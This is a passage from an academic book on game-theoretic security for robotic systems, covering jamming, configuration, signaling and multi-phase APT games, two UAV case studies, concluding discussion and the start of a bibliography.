operator of the team and the attacker is described by the zero-sum game at time k:

max min λ2 (e; x(k + c)). (5.2)

x(k+c) e∈E

Here, x(k) is the position of the UAV at time k. Two UAV can form a link when they are sufficiently
close within a desirable range of communications. The connectivity of the UAV team is described
by the algebraic connectivity of the network, denoted by λ2 (i.e., the second-smallest eigenvalue of
the associated Laplacian matrix). When λ2 is zero, the network has disjoint partitions. Otherwise,
the network is connected, i.e., there exists a path from one node to any node in the network.
A higher value of λ2 indicates that there are a larger number of paths on average that connect
between two arbitrary nodes in this network. At each time step k, the operator determines where
the agents should move to in the next time step x(k + c), where c is a time interval. The control
is constrained by the physical dynamics of UAV. The attacker can jam a subset of links from all
the communication links of the team, denoted by E. The attacker’s capability is described by the
number of links that he can jam at time k. This zero-sum security game can be played repeatedly
at every time step k.
In transportation networks, the class of interdiction games is similar to the jamming games in
communications. One player (e.g., an attacker) aims to remove the links of a network to minimize
the throughput or disrupt the operation of the infrastructure subject to resource constraints. In
other words, the attacker’s capability is assumed to be bounded and he can only remove a small
subset of links in the network. The other player (e.g., planner or defender) aims to design a robust
network and invest resources to protect against the attacks on the network and maintain the service
of the infrastructure. This type of games has been commonly used in scenarios of the infrastructure

53
protections [15, 24, 44], multi-agent robotic systems [21, 23, 81], and IoT networks [14, 16].
Another example of security game is the system configuration game [153, 154, 168]. In this game,
we consider one system defender and one attacker as two players. The system defender configures
its network and IoT in Fig. 5.1 by choosing the setting of the software, security rules/policies, and
network topologies. Each system configuration inevitably has known or zero-day vulnerabilities.
An attacker aims to find the vulnerabilities of the entry-point system and exploit them to penetrate
and infect further parts of the system. Let C = {c1 , c2 , · · · , cm } be the set of configuration that
the system can choose from. Let V be the set of vulnerabilities that the system can have. Each
configuration is associated with a subset of vulnerabilities of V. We let π : C → 2V be the point-to-
set mapping between configurations and the subsets of vulnerabilities; π(c), ⊆ V, c ∈ C, is called the
attack surface when the system is configured to c. An attacker can choose an attack that exploits
several vulnerabilities of the system. Let A = {a1 , a2 , · · · , an } be the set of attack actions. Let
γ : A → 2V be the point-to-set mapping between attack actions and the subset of vulnerabilities;
γ(a) ⊆ V, a ∈ A, is the set of vulnerabilities exploited by the attack action a ∈ A. When one of
the vulnerabilities exploited by the attacker is in the attack surface under configuration c, then the
attacker is successful and receives a reward. More formally, when γ(a) ∩ π(c) 6= ∅, the reward to the
attacker, which is also the loss to the defender, is given by R(γ(a) ∩ π(c)), where R is a set-valued
function that quantifies the impact of the successfully exploited vulnerabilities. This configuration
game is a normal-form zero-sum game. An example of this game is represented by the following
matrix:
c1 c2 c3 c3
H: a1 h11 h12 h13 h14
a2 h21 h22 h23 h24

Here, the row player is the attacker with 2 attack actions. The column player is the defender
with 4 configurations. The reward/loss to the players are described by the matrix entries hij , i ∈
{1, 2}, j ∈ {1, 2, 3, 4}, which are the rewards to the attacker when he uses ai to attack and the
defender uses configures the system at cj . The defender can relies on this model and assesses his
best-effort worst-case security. The saddle-point equilibrium of this game yields a game value that
quantifies the level of the security under the best-effort of the defender. It also leads an insight
for the defender on how to choose a secure configuration to safeguard the system for a prescribed
attack model.
The analysis of the saddle-point equilibria of the security game has the following implications.
First, the equilibrium strategies provide a security strategy for the defenders and protect the system
in the worst-case scenario that is assumed by the defender. Such strategies are computed ahead of
time. The operator can use them to maintain the connectivity of the UAV at each time k robust to
the worst-case adversarial behaviors within a range of attack behaviors. In many cases, the exact
knowledge of the worst-case may not always be available. The overestimate of the capability of
the attacker will result in a conservative solution while the underestimate will lead to a successful
attacker and failure in the operation when the attack is not correctly anticipated. There is a need

54
to consider strategies other than protections or preventions to safeguard the system. One type of
strategy that can be built on top of the robust mechanism is the resiliency mechanism. In the
case of the underestimate, the system is well prepared and designed to quickly recover from the
attack. In the case of the overestimate, the resources used to strengthen the network for extremely
low likelihood events can be used for the repair of the links and the restoration of the services.
With limited resources, the defender needs to find an optimal tradeoff between the robustness and
the resiliency to mitigate the impact of the attacks and maintain an acceptable level of system
performance. This joint robust and resilient mechanism has been studied in [15] and applied to
multi-agent robotic systems in [81, 82].
Second, the value of the game obtained from the equilibrium analysis provides a predicted
outcome and performance of the system. It provides a worst-case performance guarantee and a
quantified assessment of the risks. In the example of UAV networks, the solution to the zero-sum
game from solving (5.2) provides a way for the designer to assess whether the network is still
connected under the worst-case adversary. If it is, the designer can assess the security margin
from being disconnected. Otherwise, the designer needs to find mechanisms other than the control
variable u(k + c) to strengthen the network. For example, instead of using mobility to create
connectivity, the designer can introduce additional communication resources, e.g., construction of
ad hoc base stations, or the use of satellite communications. This design choice is another layer of
optimal planning of resources since additional mechanisms are also constrained by limited resources.
In [168], the authors see the value of games as the security capacity of a system. This is because
when the computed value is below the targeted value, it means that it is impossible for the system
to be secure for the given attack model unless additional resources are invested in the system.
Games have also been studied for the overall design of secure communication layers as networks by
[102].

5.3 Multi-Stage and Multi-Phase Games

In Section 5.2, we have presented game theory as a tool to understand cybersecurity. In this section,
we extend the game-theoretic technique developed for cyber attacks and connect it with the physical
models of robots. The target of many APT is to create malfunction of the physical assets, including
a power plant, an autonomous vehicle, or a water treatment plant. By incorporating the physical
models into the security game framework, we can provide a cross-layer security framework for robots
and develop tailored cyber protection for the given robot systems that have specific operational
system specifications and requirements.
To illustrate this concept, we use a generic nonlinear dynamical system in (5.3) to capture
the mechanical behaviors of the robots. Let x(t) be the state of the physical system and y(t) be
the output of the system. The physical dynamics of the robot systems, such as mechanical arms,

55
Figure 5.3: Multi-stage and multi-phase interactions between an attacker and a defender: The
attacker changes the cyber state θ to affect the physical state x at the last stage of Phase 3.

walking robots, UAV, can all be written into the following form:

ẋ(t) = f (t, x, u; θ(t, a, d)), (5.3)

y(t) = h(t, x, u; θ(t, a, d)). (5.4)

Here, f and h are continuous functions in (t, x, u). The physical system is controlled by the
feedback law u to achieve stabilization or targeted performances. θ(t, a, d) is the cyber state of the
robot. It can represent the state on the attack graph or the high-level description of the well-being
of the cyber system. The state of the cyber system is influenced by the attack strategies a and
the defense strategies d. A well-designed defense can reduce the probability of the system in a
compromised cyber state and allow the cyber system to recover quickly once it is attacked. From
(5.3), it is clear that the cyber defense and attack not only directly affect the cyber state but also
indirectly creates an impact on the physical system. For example, when the attacker gains access to
the ROS nodes, he can modify the control logic and turn the robot into a deadly weapon [28, 142].
In the scenarios of multi-agent systems, one robot can be misled by a compromised robot to put
the team into jeopardy and fail the mission [136, 159].
The goal of the extended game framework is to capture this impact so that the defense designed
at the cyber layer will reduce the cyber-physical risks and the control designed at the physical layer
will be able to quickly mitigate the physical damages when an attacker succeeds at the cyber layer.
To capture these multiple layers of effects, authors in [47, 117, 163] have created a multi-stage
and multi-phase game model. The entire attack process is decomposed into multiple phases that
represent multiple rounds or stages of interactions between the attacker and the system at different
layers. At Phase 1, the attacker aims to create social engineering approaches to infect the system.
To defense against this attack, defenders can raise security awareness, provide training to users and
employees, or developing incident documentation and alert system to prevent malicious outsiders
from entering the system or the insider to behave abnormally.
At Phase 2, the attacker aims to maximize the infection, search for its targeted asset and
get closer to it. The defender at this phase can leverage spot-checking to detect virus/malware,
change system configurations, or develop proactive defense mechanisms (e.g., honeypots [54, 76]

56
Figure 5.4: Illustration of FlipIt games: The attacker and the defender compete to control a shared
resource. Both players can choose when to move at any time. Each move incurs a cost. The player
controls the resources for a period of time after his move till the next move of the other player.

and moving target defenses [53, 157]) to reduce the system risks. At Phase 3, the attacker aims to
create physical damage on the system on the asset. It is already late for the defender to prevent
the asset at this stage from damages. However, the defender can detect anomalous behaviors
and reconfigure the control at the physical layer to reduce the impact of the attack and develop
mechanisms to recover the system from the attacks.
The multi-stage multi-phase interactions are illustrated in Fig. 5.3. Each phase contains several
stages of interactions. The success of an attacker in one phase will lead him to the next phase until
he takes over the control of the physical assets. The state of the cyber system θ evolves over these
multi-round interactions. In Phase 3, a compromised cyber state will influence the physical state
x. The control taken at the end of Phase 3 can mitigate the physical impact of the attacker.
Each phase has unique attacker-defender interactions. They can be modeled using a suitable
game-theoretic framework. In the first phase, the game often involves a human user and an at-
tacker. The goal of the attacker is to use social engineering techniques to deceive the users to gain
credentials for access. In [128], FlipIt games have been proposed to understanding many cyberse-
curity scenarios. Consider the scenario where a user can choose when to change his passwords and
an attacker can choose the time to hack the account. A weak password that has not been changed
for a long time can be eventually leaked to the attacker. One way to protect a user’s account to
frequently change the password. However, it would create a perceived overhead if a user changes the
password too frequently, and [107] give a game model to find an optimal tradeoff between security
and usability here. From the attacker’s perspective, there is a cost for him to gain reconnaissance
and hack the account. FlipIt games capture the strategic decision of both players. The game
analysis provides a risk assessment of the system and the development of defense strategies. The
applications of FlipIt games have been extended to many applications including cloud computing
[19, 91, 137], cybercrime [6, 10], and IoT systems [20, 87].
In the second phase, an intelligent attacker can move stealthily and strategically in the network
to gain access to the targeted asset. APT are this type of threat that is capable of customizing their
strategies against specific targets and disguise themselves for a prolonged period. Once the APT
attackers enter the system, they escalate their privilege and propagate laterally in the network,
compromising other nodes to gain deeper access to find their target. The goal of the defender is

57
to detect the compromise nodes and respond quickly to prevent the attacker from going deeper
and reaching critical assets. A game modeling this type of interactions is Cut-The-Rope (Section
5.1), but other models have also been proposed, using sequential games [48, 50, 80]. One important
application of these models is to develop proactive defenses. They provide a precautious and
strategic way to increase the cost of attack while mitigating the potential damage attacker could
bring to the final target. An effective proactive response system can delay the attack and give
network administrators a sufficient amount of time to meticulously analyze data and deploy effective
responses to the threats.
In the third phase, an attacker has successfully gained access to the critical asset and aims to
create maximum impact. The goal of the defender in this phase is to reduce the damages that can
be created by the attacker. An example of games that capture this scenario is the Flip the Cloud
game described in [91]. An APT attacker can take hold of the cloud and sends falsified information
to mislead a robot that relies on the computations in the cloud. The analysis of the game between
the cloud that is taken over by the attacker and the system leads to a strategic trust mechanism [87]
that can filter and reject misleading information and an event-triggered control mechanism [137]
to switching the control laws to maintain an acceptable level of performance. Here, the goal of
physical control is to strengthen the resiliency of the robots. With a suitable design, the robots can
still carry on their missions and complete their tasks despite the compromised cyber state and the
unanticipated events. The resilient control problem has been discussed in [118, 119, 165]. Game-
theoretic techniques to achieve resiliency of the control system performance have been studied in
[15, 50, 156, 160, 172].
Generally, it is advisable to consider APT models relative to what the adversary tries to ac-
complish in the long run, as [115] distinguishes two types of APT:

• One type is about gaining long-run control over the victim, but without ultimately destroying
it. This can be the case when an industrial robotics-enhanced production line is hacked for
the purpose of quality dropout increase, or to induce flaws in the products, up to inserting
malicious parts or similar. Other scenarios include the overtake of an infrastructure of unin-
tended purposes, e.g., cryptocurrency mining or similar. FlipIt is a class of game models to
defend against this type of APT.

• The other type aims at killing the victim, which entails a slow and ubiquitous penetration
staying beneath the detection radar so that it is too late for the defender to react when the
attacker becomes visibly active. Examples of such incidents have been reported on large
critical infrastructures, with Stuxnet being an early and famous example. Game models for
this type of APT are, among others, Cut-The-Rope.

5.3.1 Signaling Games for Multi-Phase Security

In the security games across the three phases, the players often have incomplete information re-
garding the payoffs, action sets, and the type of opponents the players interact with. It is essential

58
for security games to capture these uncertainties in the game. Signaling games are a common
class of games that have been used to model the sequential interactions between two players un-
der incomplete information. They have been used in many applications such as cyber deception
[89, 90, 92, 96, 174], communication networks [11, 101], and trust management [12, 75, 95]. In
this class of games, one player is the sender, denoted by S, and the other player is the receiver,
denoted by D. The sender has private information θ ∈ Θ unknown to the receiver and sends a
signal1 m ∈ M to the receiver. The goal of the receiver observes the signal m and chooses an action
a ∈ A to respond to the signal so that his reward US (θ, m, a) is maximized. The goal of the sender
is to pick a signal that will lead to a desirable action chosen by the receiver so that his reward
UR (θ, m, a) is maximized. Both players have the knowledge of how this game is played. More
specifically, the players know the reward functions and action sets of both players. The private
information θ is modeled as a random variable. Both players have knowledge of the distribution of
the random variable. However, only the sender knows the realization of θ.
This game is illustrated by an extensive-form game in Fig. 5.5. Nature first chooses θ according
to the distribution known to the players. The sender who observes θ1 or θ2 will pick a signal
m ∈ {m1 , m2 }. The receiver cannot distinguish between the type of the players (indicated in the
figure by the information set of the receiver) but can only choose an action {a1 , a2 } based on his
observation of the signal. The strategies of the players are described by the policies µS : Θ → M
and µR : M → A that are determined prior to the start of the game. The players use the policies to
determine their actions based on their private observations. Bayesian perfect Nash equilibrium is
commonly used as the solution concept for the signaling games. An equilibrium profile (µ∗S , µ∗R ) is a
Bayesian perfect Nash equilibrium if it satisfies sequential rationality and there exists a consistent
belief system, a distribution over the information set, that supports this equilibrium profile. Readers
can refer to the mathematical details in [35] for the analysis and the computation of the equilibrium.
Signaling games can be used to capture information asymmetry, where one player has more
information than the other player. It is a pervasive phenomenon in cybersecurity. Across the three
phases depicted in Fig. 5.3, the system defender may not distinguish the attacker from the normal
users. In contrast, the attacker can observe the behaviors of the system. In [94], signaling games
have been used to model phishing. An attacker sends a phishing email to a population of receivers
while a user relies on spam and scam detection systems to filter out a suspicious email from the
primary inbox.
An extension of the signaling games to multiple rounds of interactions has been studied in
[34, 50]. The multi-round game models are used to study the Phase 2 interaction where the attacker
aims to escalate his privilege and gain access to the targeted asset. In [136], a trust mechanism
based on signaling games has been developed for UAV at Phase 3 as the last shield to defend against
the attacker. Once an attacker has an access to the remote control station, he can send a falsified
control command to direct the UAV to hit a building. The trust mechanism enables the UAV to
1
The literature also uses the term “message” in the context of signalling games, which we avoid here to prevent
ambiguities with the term “message” as data in transit like in Chapter 2.

59
Figure 5.5: Signaling games between one sender and one receiver. The sender has private informa-
tion θ and sends a signal m ∈ M = {m1 , m2 } to the receiver to achieve an outcome that optimizes
his reward. The receiver determines action a ∈ A = {a1 , a2 } to maximize his reward. The dotted
line indicates an information set of player 2.

Figure 5.6: G1, G2, and G3 represent games at three phases. The three games are nested. The
outcome of the game at earlier phases will affect the structure of the game in the later phases. The
defense strategies need to be planned backward from the last phase.

make onboard decisions of following or rejecting the command when they predict that following
the command would lead to catastrophic consequences.

5.3.2 Games-in-Games Model

The games in the three phases are interdependent. The actions chosen by the defender and the
attacker in the first phase will affect the cyber state and the structure of the game played in
the second phase. When planning the defense at the first phase, it is essential to understand its
consequences on the following phases and make an effective planning decision at the first phase. The
games at the three phases can be integrated into a game-in-games [23, 50, 82, 138, 140, 142, 158],
in which the game at an earlier phase is nested in the game at a later phase. Illustrated in Fig.
5.6, the game-of-games integration gives a holistic view of the security issues across multiple layers
of robotic systems and provides a cross-layer risk assessment and design methodology of security
mechanisms.
Security games for sophisticated attacks often require an integrated model that composes in-
teractions at different layers, stages, or phases of the system. The game-in-games leverage the

60
sequential nature of the cyber attacks and provide a framework to compose local-stage games into
an integrated large-scale game for a holistic analysis of the risks. The computation of the equi-
librium solutions at each phase is backward. The defense strategies in Phase 1 depends on the
defense strategies in Phase 2, which is determined by the strategies in Phase 3. This backward
computation will guarantee that the defense strategies are strategically optimal across the phases
rather than myopically optimal within one single stage. Readers can refer to the recent book [173]
for a comprehensive introduction of the game-theoretic techniques for cross-layer designs.

5.4 Case Studies

We provide two case studies to elaborate on the application of game theory to robot security. The
first one introduces the application of signal games to UAV and develops a cyber-physical trust
interface between the IT-level signals and the OT-level operations and controls. The second one
continues the example described in Fig. 5.7 and discusses how to design control mechanisms that
can fend off jamming attacks while maintaining connectivity.

5.4.1 Signaling Games and UAV

This case study presents a team of multi-agent UAV with n autonomous agents (ASs) and a control
station (CS). Each agent has two components. One is the physical layer which implements real-time
control to achieve its control objectives. The other one is the cyber layer which sends information
and signals to the agents as inputs for the controller. At the physical layer, a min-max model
predictive control (MPC) problem is formulated to handle the worst-case disturbances based on
the model. For AS agent i at time k, the problem is formulated as a zero-sum game between the
controller and the disturbance:

Pki : min max Jc xik , rki , ûik , ŵki .

(5.5)
ûik ŵki

Here, Jc is the accumulated stage cost until horizon-window N ; xik is the state vector; rki is the
reference trajectory given by the CS; ûik and ŵki are the estimated control and disturbance vectors.
An adversary can fabricate a fake reference signal ri to deviate agent i from its real trajectory to
achieve Suicidal Attack (SA) or Collision Attack (CA).
At the cyber layer of ASs, we use a signaling game method to capture the information asymmetry
and multi-stage behaviors of these players. The CS (sender S) has a binary private type θ denotes
whether S is normal or malicious. S sends a signal ri to each AS (receiver Ri ). Before choosing
action ai , AS updates its beliefs about the type θ using Bayes’ rule and prior belief pi (θ). The goal
of Ri is to choose an action ai to minimize its expected cost ciR given a posterior belief µi (θ|ri ),
while the goal of the sender is to choose a signal ri to minimize the cost cS by anticipating the
behavior of the receiver Ri . The game admits a PBNE, which is a strategy profile {σ(S), σR
i } and

61
Figure 5.7: Trust mechanism implemented in the UAV control system. The UAV start to hover
before they hit the building.

posterior beliefs µi (θ|ri ) such that

X
i
∀θ, σR (ri ) ∈ arg min µi (θ|ri )ciR (ri , ai , θ), (5.6)
ai
θ

∀θ, σS (θ) ∈ arg min cS (r, σR , θ) (5.7)

r

where posterior beliefs µi (θ|ri ) are updated according to Bayes’ rule. There are two PBNE that
exist in this cyber-physical signaling game. One is a separating equilibrium, and the other is
a pooling equilibrium. Both equilibria can lead to the protection of ASs from collisions as the
equilibria can guarantee that Ri only accepts reference trajectory ri if it is out of the danger zones.
The designed framework yields an intelligent control of each agent to avoid collisions. Illustrated
in Fig. 5.7, a group of UAV reject the falsified command and switch the system to a safe control
mode. The UAV hover in the air and keep a safe distance from each other and the building. The
results indicate that the integrative framework enables the co-design of cyber-physical systems to
minimize the damages, leading to online updating the cyber defense and physical layer control
decisions. Interested readers can refer to [136] for more details on this case study.

5.4.2 Jamming Games and Multi-Agent Systems

Multi-agent systems provide a framework for studying distributed decision-making problems as
a number of agents make local decisions by interacting with each other over networks. One of
the common security threats in networked systems is jamming attacks. The adversary can simply
transmit interference signals to interrupt communication among agents. Non-cooperative game
theory approaches can be used to find the optimal defense mechanism to prevent and restore the
network from successful attacks.
We model the interaction between an attacker and a defender in a two-player two-stage game

62
setting. The attacker is motivated to disrupt the communication by attacking individual links.
The attack model consists of a jammer who chooses the links and the durations of the attack with
the knowledge of the communication graph of the UAV and the energy constraints. The defender
can recover a subset of links that are important for maintaining the connectivity of the graph with
limited energy.
In the game, both players attempt to choose the best strategies to maximize their own utility
functions. The utilities for the attacker U A and the defender U D are defined as the total generalized
edge connectivity (with the negative sign for the attacker), plus the cost for jamming (attacker)
or recovering (defender). The two-stage game is played as follows. The jammer first attacks and
then the defender recovers in the subgame. Let mA be the attacked edges and σ A be the attack
intervals; let mD be the edges recovered and σ D be the recovery intervals. The strategies of the
attacker and the defender are in terms of (mA , δ A ) and (mD , δ D ), respectively.
The subgame perfect Nash equilibria are obtained using backward induction. Given the at-
tacker’s strategy (mA , δ A ), the defender decides the best response strategy as

mD∗ (mA , δ A ), δ D∗ (mA , δ A ) ∈ arg max U D ((mA , δ A ), (mD , δ D ))

(5.8)
(mD ,δ D )

Likewise, given the initial network graph G, the attacker decides the strategy as

mA∗ , δ A∗ ∈ arg max U D ((mA , δ A ), mD∗ (mA , δ A ), δ D∗ (mA , δ A ) )

(5.9)
(mA ,δ A )

This game can be applied to a multi-agent consensus problem, where the game is played re-
peatedly over time. In such a case, the energy constraints are extended to satisfy continuous
communications. Fig. 5.8 shows the states of the agents and properties of the players, with the
agents achieving approximate consensus at t ≈ 4 with tolerance  = 0.5. This framework enables
the study of how the attacks and recovery strategies affect the consensus process of the multi-
agent systems. By analyzing the games, we can find the optimal strategies for the attacker and
the defender in terms of edge connectivity and the number of connected components of the graph.
Interested readers can refer to [81] for more details on this case study.

63
Figure 5.8: The state trajectories of the UAV. The green areas indicate the intervals where the
defender recovers. The red areas indicate the intervals where the attacker attacks. The four agents
reach consensus after t ≈ 4 [81].

64
Chapter 6

Discussions and Conclusions

Securing robot systems has its unique challenges, since their interaction with the world is virtual
(related to information) and physical, which extends the usual threat landscape considerably. Con-
sequently, the tools to address security need to meet the diversity of threats, and game theory,
applied to security scoring systems, can provide a powerful mechanism to orchestrate and assemble
security mechanisms that each cover their specific threat spectrum, but which only in totality can
provide comprehensive protection.
The steps taken in this book are only preliminary and yet point out a gap between what
theory can offer and what robot designers could use in the future. Since systems are heterogeneous
and with components from many vendors combined, it can be tempting and easy to just delegate
responsibility to somebody else. This is an issue on the organizational level, and risk management
standards can be very helpful here to address issues of ownership, responsibility, and incident
management. The complexity of bringing a development project into standard compliance is yet
another motivation to employ optimization, such as game theory.
The complementation of technical security mechanisms by adequate organizational precautions
pervasive throughout the whole robot life cycle is an issue that we only touched lightly here, but
demanding more in-depth research in the future. The problem with robotic security may partly be
attributed to the lack of responsibility assignment when it comes to an incident.

Security and Performance Tradeoffs

One important challenge to address with robotic security is to trade off between security and perfor-
mance. To harden the security in robotic systems, the system will require additional computational,
memory, and communication resources. In real-time operations, they will lead to degradation of
performances if the system is constrained by its resources. The off-the-self and traditional solutions
would not work for all robots. It is essential to tailor the security solutions for different robot ap-
plication domains and take into account the performance specifications. The security solutions for
a teleoperated medical robot should be significantly different from the ones for a domestic cleaning
robot. The security models and the threat consequences are drastically different in two cases.

65
 There is a need to prioritize the security objectives and develop bespoke frameworks for the
system-specific tradeoffs and designs. Such priorities can be added to a model as importance scores
(see, e.g., [110]), or with explicit rankings among the goals. One such extension towards the latter is
lexicographic optimization as described in [60, 116]. Quantitative metrics and design methodologies
play an important role to achieve these objectives. One important future direction is for robot
designers to develop customized metrics and methodologies to understand the security-performance
trade-offs and the design of optimal resource-constrained solutions. The specification of metrics and
quantification of risks, thereby induces an operational difficulty perhaps, since engineers but also
security specialists may find it difficult to quantify security for an optimization. Likewise difficult is
the general specification of probability parameters as appear throughout the majority of stochastic
models, not only to describe robot security.
Helping robot designers with security requires more than just proposing yet another security
model, but also helps the practitioner to reason about how to instantiate the models for their use.
Work in this direction is relatively scarce, but the problem of systematic parameter learning is
addressable by machine learning techniques. See [114] for an example application in the context of
critical infrastructures that are transferable to robots as infrastructures too, or [58] and [106] for
online learning and reasoning about the trustworthiness of components in a joint system. Further
help is offered by scoring systems like RVSS, as these provide a systematic tool to quantify security
and, as [61] describe, also get ideas about how to specify probabilities if a stochastic model or
decision making requires them. This can be complemented by other than numeric quantification
techniques, such as graphical risk specification as proposed by [133].
Security defense is often an add-on solution in today’s robotic systems. Oftentimes, the se-
curity solutions are based on traditional and off-the-shelf solutions, e.g. cryptography, firewalls,
and intrusion detection systems. Advanced defense strategies, such as cyber deception and mov-
ing target defenses, will require a careful evaluation of the threat models and additional system
resources to enable such defenses. Without a deliberate built-in design, our robotic systems will
always be in a vulnerable state as the attacker can eventually map out the system and launch
successful attacks. Built-in defense mechanisms aim to outsmart and deter the attacker by lever-
aging the system resources to introduce uncertainties and make the attack more costly. Including
uncertainty in optimization is its issue but doable with game models that adopt a more complex
payoff modeling than crisp numbers. Specifically, it is possible to optimize actions for defense and
resource investment when consequences are uncertain [105], even in light of multiple conflicting
goals [104], interdependencies and network effects [18, 22, 24, 74, 144].

Security vs. Safety

This book has discussed the cybersecurity frameworks and models for robotic systems. It is essential
to distinguish security from safety and reliability, which have been relatively well studied in the
robotics literature. The first key difference is that security is an issue strategically created by
an adversary. The safety issues are often related to natural causes. Some of them can exceed

66
expectations but they are not associated with objectives and malicious intentions. Often, we tackle
the safety issues by specifying a tolerable set of uncertainties and design systems under the worst
cases among these uncertainties. The attack is an outcome of the purposefully planned actions
and the exploitation of the vulnerabilities. We need to understand the attack models through the
objectives, the incentives, and the capabilities of an attacker when developing security solutions for
robots.
Second, the impact of the damage created by an attacker may not directly observable at the
physical layer at an early stage of the compromise. Safety often refers to the last-mile physical
protection at the OT-level. It is often too late when the attacker succeeds in penetrating the
cyber layers, controls the physical assets, and can manipulate them at his will. Security defense
goes beyond the OT and protects the system at the IT-level. In this book, we have described
the challenges and quantitative methods that can be used to address the IT-level security and
its induced impact on the OT. Safety and security issues are not mutually exclusive. They can
be treated together within a holistic framework that considers the cross-layer effects. Ensuring
IT-level security is an important step toward improving the safety of the system, especially when
major OT-safety concerns arise from IT-security.

Emerging Attack Models and Defense Solutions

This book has presented several attack models and solutions to counteract them. There are many
emerging threats and advanced techniques that would be of interest to investigate. For example, ad-
versarial machine learning is an increasingly important topic. Many robotic systems rely on learning
models for pattern recognition, detection, and perception of the environment. An attacker can ma-
nipulate the input data and mislead the robot to erroneous learning results [52, 57, 145, 146, 148].
This attack can lead to misinformed decisions and control, which would result in catastrophic con-
sequences. It is imperative to assess the trustworthiness of learning models and develop contingent
solutions when the learning is not trusted.
New technologies in robotics also inspire new attack models. For example, cloud robotics is a
new paradigm of robotic systems that integrate the technologies of cloud computing and storage into
robotics [59]. It empowers the robots with the powerful computation, storage, and communication
resources in the cloud and enables information sharing and communication among a group of robots
and devices. However, the confidentiality and the integrity of the data communicated between the
cloud and the robot can be compromised by an attacker. Furthermore, an attacker at the cloud
can falsify the computations to mislead the robots or create a denial of service so that the robot
does not have sufficient inputs to act in an unknown environment [91, 137, 141].
New attack vectors and more sophisticated attackers would galvanize the defender to develop
new defense solutions. One promising direction of cyber defense is the deception technology, which
employs decoys (e.g., honeypots) or introduces uncertainties (e.g., moving target defense) to deceive,
detect, and deter the attacker. Deception technologies provide a proactive way to defend against
zero-day and advanced attacks and enable an automated way to respond in real-time to the threats.

67
Design of deception techniques often relies on a clear understanding of the system tradeoffs involving
resource constraints, security objectives, and attack models. Game theory has been used as a
primary tool to address this tradeoff and develop an optimal cyber deception mechanism [96].
Interested readers can develop new security solutions for robots by making connections between
these advanced cyber defense solutions with the new attack threats in robotics.
Beyond the technical solutions to security issues in robots, economic policies and tools can also
be used to mitigate their adversarial impact on society. Cyber insurance is such a product that
protects owners and users of the robots from cyberattack-induced damages. The coverage of cyber
insurance allows the risks to be transferred and distributed fairly at the cost of premiums. Damages
such as injuries, collisions, theft, and extortion can be possibly covered by the insurance. The
premiums and the incentives of the insurance need to be carefully designed to reduce moral hazards
and increase social welfare. Design methodologies of insurance design developed in [8, 40, 149, 150]
can be applied and customized to different robotic applications in the future as an additional layer
of risk protection.

Bridging Game Theory and Practice

Chapter 5 has provided an overview of the game-theoretic methods and their applications in cy-
bersecurity and robotics. We have seen that game-theoretic frameworks can capture the defense
mechanisms and the attack models. The games take different forms to describe the distinct fea-
tures at a specific layer of the robotic system. The formulation of the game models builds on the
system designer’s knowledge and assumption about the attacker. The assumption of the attack
model may not perfectly align with the practice. One important reason is that the designer and
the attacker have asymmetric information about each other. Furthermore, the players may not act
rationally even if the game is known to both. These questions are reasonable concerns when we
apply the solutions from idealized game models. The idealized models provide a canonical form
of descriptions. Many sophisticated methods can enrich these models to provide practical security
solutions.
One method to enrich the baseline game models is reinforcement learning (RL). The defender
can learn and react to the attacker’s behaviors in real-time. The RL does not require the defender
to know the games ahead of time but uses his observations to adapt his strategies without knowing
the underlying model. In [48] has developed RL algorithms to assimilate the data collected by
honeypots to create an attack model and learn about the attacker’s intention and capabilities.
[170] and [171] have also presented several RL mechanisms which are used to model different styles
of learning in terms of rationality and the intelligence of the learner. They can be used to capture
human factors such as constraints on cognition, perception, and reasoning.
RL techniques have also been used as part of the OT to control and monitor robots in real-time.
The OT-level RL allows the robots to learn the cyber-induced changes in the physical systems and
respond to them to achieve agility and resiliency (e.g. see [51, 155, 156]). It is possible to compose
the RL algorithms at IT and OT levels to achieve holistic security learning and monitoring of the

68
robotic systems.
Besides RL, the baseline game models can be enriched by directly incorporating information
incompleteness. In large-scale finite security games, it is not practical for the players to know every
entry of the payoff matrix. The players can estimate the unknown payoffs by leveraging information
from historical or real-time plays [77, 85, 97]. For example, [85] has presented a gradient method
to estimate the payoff matrices by finding the closest one to the game matrices played in the
past. Incorporating uncertainties and bounded rationality into game models is a major step toward
bridging game theory and practice. This cross disciplinary approach will benefit from fruitful
collaborations between game theorits, cybersecurity experts, and roboticists.

69
Bibliography

[1] Post-quantum cryptography, 2008.

[2] Alias Robotics. Red teaming ros-industrial, extended version.

https://aliasrobotics.com/files/red teaming rosindustrial.pdf, 2020.

[3] T. Alpcan and T. Başar. A game theoretic analysis of intrusion detection in access control
systems. In Decision and Control, 2004. CDC. 43rd IEEE Conference on, volume 2, pages
1568–1573. IEEE, 2004.

[4] N. Alzahrani and N. Bulusu. Towards True Decentralization: A Blockchain Consensus Proto-
col Based on Game Theory and Randomness. In L. Bushnell, R. Poovendran, and T. Başar,
editors, Decision and Game Theory for Security, volume 11199, pages 465–485. Springer
International Publishing, Cham, 2018.

[5] T. Başar and G. J. Olsder. Dynamic noncooperative game theory, volume 23. Siam, 1999.

[6] A. Basak, J. Černỳ, M. Gutierrez, S. Curtis, C. Kamhoua, D. Jones, B. Bošanskỳ, and

C. Kiekintveld. An initial study of targeted personality models in the flipit game. In In-
ternational conference on decision and game theory for security, pages 623–636. Springer,
2018.

[7] T. Basar. The gaussian test channel with an intelligent jammer. IEEE Transactions on
Information Theory, 29(1):152–157, 1983.

[8] J. Bolot and M. Lelarge. Cyber insurance as an incentivefor internet security. In Managing
information risk and the economics of security, pages 269–290. Springer, 2009.

[9] N. Boumkheld, S. Panda, S. Rass, and E. Panaousis. Honeypot Type Selection Games for
Smart Grid Networks. In T. Alpcan, Y. Vorobeychik, J. S. Baras, and G. Dán, editors,
Decision and Game Theory for Security, pages 85–96, Cham, 2019. Springer International
Publishing.

[10] E. Canzani. Risk management in (cyber-) terrorism: Modeling insights and perspectives.
Countering Terrorist Activities in Cyberspace, 139:131, 2018.

70
[11] T. E. Carroll and D. Grosu. A game theoretic investigation of deception in network security.
Security and Communication Networks, 4(10):1162–1172, 2011.

[12] W. Casey, J. A. Morales, E. Wright, Q. Zhu, and B. Mishra. Compliance signaling games:
toward modeling the deterrence of insider threats. Computational and Mathematical Organi-
zation Theory, 22(3):318–349, 2016.

[13] T. Chauveau. Subjective risk and disappointment.

[14] J. Chen, C. Touati, and Q. Zhu. Heterogeneous multi-layer adversarial network design for
